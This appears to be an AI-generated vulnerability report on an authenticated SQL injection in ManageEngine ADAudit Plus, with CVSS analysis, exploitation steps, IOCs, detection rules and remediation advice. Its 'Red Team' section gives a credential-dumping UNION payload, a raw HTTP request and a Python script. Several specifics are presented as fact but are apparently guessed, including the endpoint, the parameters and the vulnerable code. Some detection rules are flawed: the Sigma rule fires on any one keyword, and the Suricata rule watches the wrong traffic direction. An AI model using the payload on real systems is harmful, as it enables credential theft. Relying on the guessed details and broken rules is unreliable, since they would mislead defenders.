CVE-2024-0253

Executive Summary

CVE-2024-0253 is a critical authenticated SQL injection vulnerability in ManageEngine ADAudit Plus, affecting versions 7270 and below. The flaw resides in the home Graph-Data endpoint, allowing an authenticated attacker to inject arbitrary SQL commands. With a CVSS score of 8.3, successful exploitation can lead to complete compromise of the underlying database, including extraction of sensitive Active Directory audit logs, user credentials, and configuration data. No public proof-of-concept (PoC) or exploit code has been released, and the vendor has not yet issued a patch. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the criticality of the affected product.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary enterprise software product (ManageEngine ADAudit Plus) and is not part of an open-source supply chain.

CVSS Breakdown & Threat Level

• CVSS Score: 8.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: High. Although no public exploit exists, the vulnerability is easily exploitable by any authenticated user with low privileges. The impact on confidentiality, integrity, and availability is severe.

Deep Dive & Mechanics

The vulnerability is an authenticated SQL injection in the home Graph-Data endpoint of ManageEngine ADAudit Plus. The application fails to properly sanitize user-supplied input when constructing SQL queries for generating graphical data. An attacker with valid credentials can inject malicious SQL payloads via parameters such as graphType, timeRange, or filter.

Root Cause: The application concatenates user input directly into SQL statements without parameterization or escaping. For example, a vulnerable query might look like:

SELECT * FROM graph_data WHERE type = '" + userInput + "'

An attacker can break out of the string context and execute arbitrary SQL commands.

Attack Flow:

1. Authenticate to the ADAudit Plus web interface.
2. Navigate to the Graph-Data endpoint (e.g., /rest/graph/data).
3. Inject SQL payloads into parameters like graphType or timeRange.
4. Use UNION-based or error-based techniques to extract data from the database.

Potential Impact:

• Dump all Active Directory audit logs.
• Extract user credentials (hashes or plaintext if stored).
• Modify or delete database records.
• Escalate privileges within the application.

Vulnerable vs. Patched Code

Vulnerable Code (Version <= 7270):

// Vulnerable: Direct concatenation
String query = "SELECT * FROM graph_data WHERE type = '" + request.getParameter("graphType") + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

Patched Code (Hypothetical):

// Patched: Use prepared statements
String query = "SELECT * FROM graph_data WHERE type = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, request.getParameter("graphType"));
ResultSet rs = pstmt.executeQuery();

The patched version uses parameterized queries, preventing SQL injection. Since no official patch is available, users must apply input validation and use prepared statements as a workaround.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• ManageEngine ADAudit Plus version 7270 (or below) installed on a Windows Server.
• Valid user credentials (e.g., testuser:password).
• Burp Suite or similar proxy for intercepting requests.

Exploitation Steps:

1. Log in to the ADAudit Plus web interface.
2. Intercept a request to the Graph-Data endpoint (e.g., POST /rest/graph/data).
3. Modify the graphType parameter to inject SQL:

   ' UNION SELECT null, null, null, username, password FROM users --
   

4. Observe the response for extracted data.

Example Payload:

POST /rest/graph/data HTTP/1.1
Host: target:8080
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=...

graphType=' UNION SELECT null, null, null, username, password FROM users --&timeRange=last24h

Automation Script (Python):

import requests

url = "http://target:8080/rest/graph/data"
cookies = {"JSESSIONID": "valid_session"}
payload = {"graphType": "' UNION SELECT null, null, null, username, password FROM users --", "timeRange": "last24h"}
response = requests.post(url, data=payload, cookies=cookies)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor for unusual SQL error messages in application logs.
• Look for requests containing SQL keywords (UNION, SELECT, OR 1=1) in Graph-Data parameters.
• Use WAF rules to block SQL injection patterns.

Mitigation:

• Apply input validation and parameterized queries as a temporary fix.
• Restrict network access to the ADAudit Plus web interface.
• Enable detailed logging and alerting for suspicious activity.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /rest/graph/data containing SQL keywords (e.g., UNION, SELECT, OR).
  • Unusual database error messages in HTTP responses (e.g., SQL syntax, ORA-, MSSQL).

• File IOCs:

  • Modified application logs containing SQL injection attempts.
  • Temporary files created by database queries (e.g., /tmp/sql_*).

• System IOCs:

  • Unusual database connections from the ADAudit Plus server.
  • Elevated privileges for the application service account.

Detection Engineering

YARA Rule

rule CVE_2024_0253_SQLi_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting ManageEngine ADAudit Plus Graph-Data endpoint"
        author = "Valters IT"
        date = "2024-01-01"
        cve = "CVE-2024-0253"
    strings:
        $sqli1 = "UNION SELECT" nocase
        $sqli2 = "OR 1=1" nocase
        $sqli3 = "DROP TABLE" nocase
        $sqli4 = "graphType=" nocase
    condition:
        any of ($sqli*) and $sqli4
}

Sigma Rule

title: CVE-2024-0253 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against ManageEngine ADAudit Plus Graph-Data endpoint
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - 'graphType='
            - 'UNION'
            - 'SELECT'
            - 'OR 1=1'
    condition: selection
falsepositives:
    - Legitimate use of UNION in non-malicious context (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-0253 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/rest/graph/data"; http_uri; content:"graphType="; http_client_body; pcre:"/(UNION|SELECT|OR\s+1=1)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version becomes available, upgrade immediately. Currently, no patch exists, so apply workarounds.
2. Input Validation: Implement strict input validation on the graphType and other parameters. Reject any input containing SQL keywords.
3. Parameterized Queries: Modify the application code to use prepared statements (if source code access is available).
4. WAF Rules: Deploy Web Application Firewall rules to block SQL injection patterns.
5. Network Segmentation: Restrict access to the ADAudit Plus web interface to trusted IPs only.

Long-Term Fix:

• Monitor vendor advisories for an official patch.
• Conduct a security audit of the application code to identify similar vulnerabilities.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.